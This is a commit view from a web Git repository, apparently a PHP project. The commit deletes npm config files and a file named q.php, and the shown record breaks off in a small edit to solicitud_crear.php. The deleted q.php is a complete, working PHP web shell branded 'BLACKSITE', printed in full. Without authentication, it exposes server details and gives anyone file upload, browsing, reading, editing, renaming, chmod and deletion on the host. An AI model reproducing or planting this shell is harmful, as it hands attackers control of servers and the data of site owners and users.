浏览代码

Cambio de columnas y borrado de archivos

alejandro.lara 1 年之前
父节点
当前提交
4ef6ca8297
共有 5 个文件被更改,包括 2 次插入670 次删除
  1. 0 288
      package-lock.json
  2. 0 15
      package.json
  3. 0 351
      q.php
  4. 2 2
      solicitud_crear.php
  5. 0 14
      tsconfig.json

+ 0 - 288
package-lock.json

@@ -1,288 +0,0 @@
-{
-  "name": "paad",
-  "lockfileVersion": 2,
-  "requires": true,
-  "packages": {
-    "": {
-      "dependencies": {
-        "@popperjs/core": "^2.11.7",
-        "@types/jqueryui": "^1.12.18",
-        "axios": "^1.4.0",
-        "es6-promise": "^4.2.8",
-        "moment": "^2.29.4",
-        "petite-vue": "^0.4.1"
-      },
-      "devDependencies": {
-        "@types/file-saver": "^2.0.5",
-        "@types/jquery": "^3.5.14",
-        "@types/node": "^20.2.1"
-      }
-    },
-    "node_modules/@popperjs/core": {
-      "version": "2.11.7",
-      "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.7.tgz",
-      "integrity": "sha512-Cr4OjIkipTtcXKjAsm8agyleBuDHvxzeBoa1v543lbv1YaIwQjESsVcmjiWiPEbC1FIeHOG/Op9kdCmAmiS3Kw==",
-      "funding": {
-        "type": "opencollective",
-        "url": "https://opencollective.com/popperjs"
-      }
-    },
-    "node_modules/@types/file-saver": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/@types/file-saver/-/file-saver-2.0.5.tgz",
-      "integrity": "sha512-zv9kNf3keYegP5oThGLaPk8E081DFDuwfqjtiTzm6PoxChdJ1raSuADf2YGCVIyrSynLrgc8JWv296s7Q7pQSQ==",
-      "dev": true
-    },
-    "node_modules/@types/jquery": {
-      "version": "3.5.14",
-      "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.14.tgz",
-      "integrity": "sha512-X1gtMRMbziVQkErhTQmSe2jFwwENA/Zr+PprCkF63vFq+Yt5PZ4AlKqgmeNlwgn7dhsXEK888eIW2520EpC+xg==",
-      "dependencies": {
-        "@types/sizzle": "*"
-      }
-    },
-    "node_modules/@types/jqueryui": {
-      "version": "1.12.18",
-      "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.18.tgz",
-      "integrity": "sha512-crlmH8kFzIiU+4aBFgvYUjykSaOTP5RDw7NqkFkcSNWFAF/SMPrr7sY1uNXDEhite/2pEwUoZlufQoy87A22LA==",
-      "dependencies": {
-        "@types/jquery": "*"
-      }
-    },
-    "node_modules/@types/node": {
-      "version": "20.2.1",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-20.2.1.tgz",
-      "integrity": "sha512-DqJociPbZP1lbZ5SQPk4oag6W7AyaGMO6gSfRwq3PWl4PXTwJpRQJhDq4W0kzrg3w6tJ1SwlvGZ5uKFHY13LIg==",
-      "dev": true
-    },
-    "node_modules/@types/sizzle": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.3.tgz",
-      "integrity": "sha512-JYM8x9EGF163bEyhdJBpR2QX1R5naCJHC8ucJylJ3w9/CVBaskdQ8WqBf8MmQrd1kRvp/a4TS8HJ+bxzR7ZJYQ=="
-    },
-    "node_modules/asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
-    },
-    "node_modules/axios": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz",
-      "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==",
-      "dependencies": {
-        "follow-redirects": "^1.15.0",
-        "form-data": "^4.0.0",
-        "proxy-from-env": "^1.1.0"
-      }
-    },
-    "node_modules/combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
-      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
-      "dependencies": {
-        "delayed-stream": "~1.0.0"
-      },
-      "engines": {
-        "node": ">= 0.8"
-      }
-    },
-    "node_modules/delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
-      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
-      "engines": {
-        "node": ">=0.4.0"
-      }
-    },
-    "node_modules/es6-promise": {
-      "version": "4.2.8",
-      "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
-      "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
-    },
-    "node_modules/follow-redirects": {
-      "version": "1.15.2",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz",
-      "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==",
-      "funding": [
-        {
-          "type": "individual",
-          "url": "https://github.com/sponsors/RubenVerborgh"
-        }
-      ],
-      "engines": {
-        "node": ">=4.0"
-      },
-      "peerDependenciesMeta": {
-        "debug": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/form-data": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
-      "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
-      "dependencies": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.8",
-        "mime-types": "^2.1.12"
-      },
-      "engines": {
-        "node": ">= 6"
-      }
-    },
-    "node_modules/mime-db": {
-      "version": "1.52.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
-      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
-      "engines": {
-        "node": ">= 0.6"
-      }
-    },
-    "node_modules/mime-types": {
-      "version": "2.1.35",
-      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
-      "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
-      "dependencies": {
-        "mime-db": "1.52.0"
-      },
-      "engines": {
-        "node": ">= 0.6"
-      }
-    },
-    "node_modules/moment": {
-      "version": "2.29.4",
-      "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz",
-      "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==",
-      "engines": {
-        "node": "*"
-      }
-    },
-    "node_modules/petite-vue": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/petite-vue/-/petite-vue-0.4.1.tgz",
-      "integrity": "sha512-/gtYKQe9r1OV4IEwn2RsPXAHgFTe1nVq4QhldAP6/l8DSe9I754K6Oe1+Ff6dbnT5P8X2XP7PTUZkGRz5uFnFQ=="
-    },
-    "node_modules/proxy-from-env": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
-    }
-  },
-  "dependencies": {
-    "@popperjs/core": {
-      "version": "2.11.7",
-      "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.7.tgz",
-      "integrity": "sha512-Cr4OjIkipTtcXKjAsm8agyleBuDHvxzeBoa1v543lbv1YaIwQjESsVcmjiWiPEbC1FIeHOG/Op9kdCmAmiS3Kw=="
-    },
-    "@types/file-saver": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/@types/file-saver/-/file-saver-2.0.5.tgz",
-      "integrity": "sha512-zv9kNf3keYegP5oThGLaPk8E081DFDuwfqjtiTzm6PoxChdJ1raSuADf2YGCVIyrSynLrgc8JWv296s7Q7pQSQ==",
-      "dev": true
-    },
-    "@types/jquery": {
-      "version": "3.5.14",
-      "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.14.tgz",
-      "integrity": "sha512-X1gtMRMbziVQkErhTQmSe2jFwwENA/Zr+PprCkF63vFq+Yt5PZ4AlKqgmeNlwgn7dhsXEK888eIW2520EpC+xg==",
-      "requires": {
-        "@types/sizzle": "*"
-      }
-    },
-    "@types/jqueryui": {
-      "version": "1.12.18",
-      "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.18.tgz",
-      "integrity": "sha512-crlmH8kFzIiU+4aBFgvYUjykSaOTP5RDw7NqkFkcSNWFAF/SMPrr7sY1uNXDEhite/2pEwUoZlufQoy87A22LA==",
-      "requires": {
-        "@types/jquery": "*"
-      }
-    },
-    "@types/node": {
-      "version": "20.2.1",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-20.2.1.tgz",
-      "integrity": "sha512-DqJociPbZP1lbZ5SQPk4oag6W7AyaGMO6gSfRwq3PWl4PXTwJpRQJhDq4W0kzrg3w6tJ1SwlvGZ5uKFHY13LIg==",
-      "dev": true
-    },
-    "@types/sizzle": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.3.tgz",
-      "integrity": "sha512-JYM8x9EGF163bEyhdJBpR2QX1R5naCJHC8ucJylJ3w9/CVBaskdQ8WqBf8MmQrd1kRvp/a4TS8HJ+bxzR7ZJYQ=="
-    },
-    "asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
-    },
-    "axios": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz",
-      "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==",
-      "requires": {
-        "follow-redirects": "^1.15.0",
-        "form-data": "^4.0.0",
-        "proxy-from-env": "^1.1.0"
-      }
-    },
-    "combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
-      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
-      "requires": {
-        "delayed-stream": "~1.0.0"
-      }
-    },
-    "delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
-      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="
-    },
-    "es6-promise": {
-      "version": "4.2.8",
-      "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
-      "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
-    },
-    "follow-redirects": {
-      "version": "1.15.2",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz",
-      "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA=="
-    },
-    "form-data": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
-      "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
-      "requires": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.8",
-        "mime-types": "^2.1.12"
-      }
-    },
-    "mime-db": {
-      "version": "1.52.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
-      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
-    },
-    "mime-types": {
-      "version": "2.1.35",
-      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
-      "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
-      "requires": {
-        "mime-db": "1.52.0"
-      }
-    },
-    "moment": {
-      "version": "2.29.4",
-      "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz",
-      "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w=="
-    },
-    "petite-vue": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/petite-vue/-/petite-vue-0.4.1.tgz",
-      "integrity": "sha512-/gtYKQe9r1OV4IEwn2RsPXAHgFTe1nVq4QhldAP6/l8DSe9I754K6Oe1+Ff6dbnT5P8X2XP7PTUZkGRz5uFnFQ=="
-    },
-    "proxy-from-env": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
-    }
-  }
-}

+ 0 - 15
package.json

@@ -1,15 +0,0 @@
-{
-  "devDependencies": {
-    "@types/file-saver": "^2.0.5",
-    "@types/jquery": "^3.5.14",
-    "@types/node": "^20.2.1"
-  },
-  "dependencies": {
-    "@popperjs/core": "^2.11.7",
-    "@types/jqueryui": "^1.12.18",
-    "axios": "^1.4.0",
-    "es6-promise": "^4.2.8",
-    "moment": "^2.29.4",
-    "petite-vue": "^0.4.1"
-  }
-}

+ 0 - 351
q.php

@@ -1,351 +0,0 @@
-<?php
-error_reporting(0);
-session_start();
-@ini_set('output_buffering', 0);
-@ini_set('display_errors', 0);
-ini_set('memory_limit', '64M');
-header('Content-Type: text/html; charset=UTF-8');
-
-echo '<!DOCTYPE HTML>
-<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
-<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
-<center>
-<style type="text/css">
-body {
-	font-family: Kelly Slab;
-	background-color: black;
-	color: lime;
-	}
-#content tr:hover{
-	background-color: grey;
-	text-shadow:0px 0px 10px #000000;
-	}
-#content .first{
-	color: #000000;
-	background-image:url(#);
-	}
-#content .first:hover{
-	background-color: grey;
-	text-shadow:0px 0px 1px #339900;
-	}
-table, th, td {
-		border-collapse:collapse;
-		padding: 5px;
-		color: lime;
-		}
-.table_home, .th_home, .td_home { 
-		color: lime;
-		border: 2px solid grey;
-		padding: 7px;
-		}
-a{
-	font-size: 19px;
-	color: #00ff00;
-	text-decoration: none;
-	}
-a:hover{
-	color: white;
-	text-shadow:0px 0px 10px #339900;
-	}
-input,select,textarea{
-	border: 1px #ffffff solid;
-	-moz-border-radius: 5px;
-	-webkit-border-radius:5px;
-	border-radius:5px;
-	}
-.close {
-	overflow: auto;
-	border: 1px solid lime;
-	background: lime;
-	color: white;
-	}
-.r {
-	float: right;
-	text-align: right;
-	}
-</style>
-
-<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
-BLACKSITE </h1></a>
-<BODY>
-
-<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
-<tr><td>';
-echo "<tr><td><font color='white'>
-<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>
-<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>
-<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
-
-echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
-<tr align="center"><td align="center"><br>';
-
-if (isset($_GET['path'])) {
-    $path = $_GET['path'];
-} else {
-    $path = getcwd();
-}
-$path = str_replace('\\', '/', $path);
-$paths = explode('/', $path);
-
-foreach ($paths as $id => $pat) {
-    if ($pat == '' && $id == 0) {
-        $a = true;
-        echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
-        continue;
-    }
-    if ($pat == '') continue;
-    echo '<a href="?path=';
-    for ($i = 0; $i <= $id; $i++) {
-        echo "$paths[$i]";
-        if ($i != $id) echo "/";
-    }
-    echo '">' . $pat . '</a>/';
-}
-
-
-//upload
-echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
-Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
-<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
-if (isset($_FILES['file'])) {
-    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
-        echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
-    } else {
-        echo '<script>alert("File Gagal Diupload !!")</script>';
-    }
-}
-
-echo '</form></td></tr>';
-if (isset($_GET['filesrc'])) {
-    echo "<tr><td>files >> ";
-    echo $_GET['filesrc'];
-    echo '</tr></td></table><br />';
-    echo (' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>');
-} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
-    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
-
-    //Chmod
-    if ($_POST['opt'] == 'chmod') {
-        if (isset($_POST['perm'])) {
-            if (chmod($_POST['path'], $_POST['perm'])) {
-                echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
-            } else {
-                echo '<script>alert("Change Permission Gagal !!")</script>';
-            }
-        }
-        echo '<form method="POST">
-Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
-<input type="hidden" name="path" value="' . $_POST['path'] . '">
-<input type="hidden" name="opt" value="chmod">
-<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
-</form>';
-    }
-
-    //rename folder
-    elseif ($_GET['opt'] == 'btw') {
-        $cwd = getcwd();
-        echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
-New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
-<input type="hidden" name="path" value="' . $cwd . '">
-<input type="hidden" name="opt" value="delete">
-<input type="submit" value="Go" style="width:100px; height: 30px;"/>
-</form>';
-    }
-
-    //rename file
-    elseif ($_POST['opt'] == 'rename') {
-        if (isset($_POST['newname'])) {
-            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
-                echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
-            } else {
-                echo '<script>alert("Change Name Gagal !!")</script>';
-            }
-            $_POST['name'] = $_POST['newname'];
-        }
-        echo '<form method="POST">
-New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
-<input type="hidden" name="path" value="' . $_POST['path'] . '">
-<input type="hidden" name="opt" value="rename">
-<input type="submit" value="Lanjut" style="height:30px;" />
-</form>';
-    }
-
-    //edit file
-    elseif ($_POST['opt'] == 'edit') {
-        if (isset($_POST['src'])) {
-            $fp = fopen($_POST['path'], 'w');
-            if (fwrite($fp, $_POST['src'])) {
-                echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
-            } else {
-                echo '<script>alert("Edit File Gagal !!")</script>';
-            }
-            fclose($fp);
-        }
-        echo '<form method="POST">
-<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
-<input type="hidden" name="path" value="' . $_POST['path'] . '">
-<input type="hidden" name="opt" value="edit">
-<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
-</form>';
-    }
-    echo '</center>';
-} else {
-    echo '</table><br /><center>';
-
-    //delete dir
-    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
-        if ($_POST['type'] == 'dir') {
-            if (rmdir($_POST['path'])) {
-                echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
-            } else {
-                echo '<script>alert("Delete Dir Gagal !!")</script>>';
-            }
-        }
-
-        //delete file
-        elseif ($_POST['type'] == 'file') {
-            if (unlink($_POST['path'])) {
-                echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
-            } else {
-                echo '<script>alert("Delete File Gagal !!")</script>';
-            }
-        }
-    }
-
-?>
-<?php
-    echo '</center>';
-    $scandir = scandir($path);
-    $pa = getcwd();
-    echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
-<tr class="first">
-<th><center>Name</center></th>
-<th><center>Size</center></th>
-<th><center>Perm</center></th>
-<th><center>Options</center></th>
-</tr>
-<tr>';
-
-    foreach ($scandir as $dir) {
-        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
-        echo "<tr>
-<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
-<td class=td_home><center>DIR</center></td>
-<td class=td_home><center>";
-        if (is_writable("$path/$dir")) echo '<font color="#57FF00">';
-        elseif (!is_readable("$path/$dir")) echo '<font color="#FF0004">';
-        echo perms("$path/$dir");
-        if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
-
-        echo "</center></td>
-<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
-<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
-<option value=\"Action\">Action</option>
-<option value=\"delete\">Delete</option>
-<option value=\"chmod\">Chmod</option>
-<option value=\"rename\">Rename</option>
-</select>
-<input type=\"hidden\" name=\"type\" value=\"dir\">
-<input type=\"hidden\" name=\"name\" value=\"$dir\">
-<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
-<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
-</form></center></td>
-</tr>";
-    }
-
-    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
-    foreach ($scandir as $file) {
-        if (!is_file("$path/$file")) continue;
-        $size = filesize("$path/$file") / 1024;
-        $size = round($size, 3);
-        if ($size >= 1024) {
-            $size = round($size / 1024, 2) . ' MB';
-        } else {
-            $size = $size . ' KB';
-        }
-
-        echo "<tr>
-<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
-<td class=td_home><center>" . $size . "</center></td>
-<td class=td_home><center>";
-        if (is_writable("$path/$file")) echo '<font color="#57FF00">';
-        elseif (!is_readable("$path/$file")) echo '<font color="#FF0004">';
-        echo perms("$path/$file");
-        if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
-
-        echo "</center></td>
-<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
-<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
-<option value=\"Action\">Action</option>
-<option value=\"delete\">Delete</option>
-<option value=\"edit\">Edit</option>
-<option value=\"rename\">Rename</option>
-<option value=\"chmod\">Chmod</option>
-</select>
-<input type=\"hidden\" name=\"type\" value=\"file\">
-<input type=\"hidden\" name=\"name\" value=\"$file\">
-<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
-<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
-</form></center></td>
-</tr>";
-    }
-
-    echo '</table>
-</div>';
-}
-
-function perms($file)
-{
-    $perms = fileperms($file);
-
-    if (($perms & 0xC000) == 0xC000) {
-        // Socket
-        $info = 's';
-    } elseif (($perms & 0xA000) == 0xA000) {
-        // Symbolic Link
-        $info = 'l';
-    } elseif (($perms & 0x8000) == 0x8000) {
-        // Regular
-        $info = '-';
-    } elseif (($perms & 0x6000) == 0x6000) {
-        // Block special
-        $info = 'b';
-    } elseif (($perms & 0x4000) == 0x4000) {
-        // Directory
-        $info = 'd';
-    } elseif (($perms & 0x2000) == 0x2000) {
-        // Character special
-        $info = 'c';
-    } elseif (($perms & 0x1000) == 0x1000) {
-        // FIFO pipe
-        $info = 'p';
-    } else {
-        // Unknown
-        $info = 'u';
-    }
-
-    // Owner
-    $info .= (($perms & 0x0100) ? 'r' : '-');
-    $info .= (($perms & 0x0080) ? 'w' : '-');
-    $info .= (($perms & 0x0040) ?
-        (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
-
-    // Group
-    $info .= (($perms & 0x0020) ? 'r' : '-');
-    $info .= (($perms & 0x0010) ? 'w' : '-');
-    $info .= (($perms & 0x0008) ?
-        (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
-
-    // World
-    $info .= (($perms & 0x0004) ? 'r' : '-');
-    $info .= (($perms & 0x0002) ? 'w' : '-');
-    $info .= (($perms & 0x0001) ?
-        (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
-
-    return $info;
-}
-
-?>
-</BODY>
-
-</HTML>

+ 2 - 2
solicitud_crear.php

@@ -192,7 +192,7 @@ if(!is_null($user->periodo_id)){
                         <?php
                         foreach($reposiciones_rs as $reposicion){
                         ?>
-                        <tr data-id="<?php echo $reposicion["reposicion_id"]; ?>" id="id<?php echo $reposicion["reposicion_id"]; ?>">
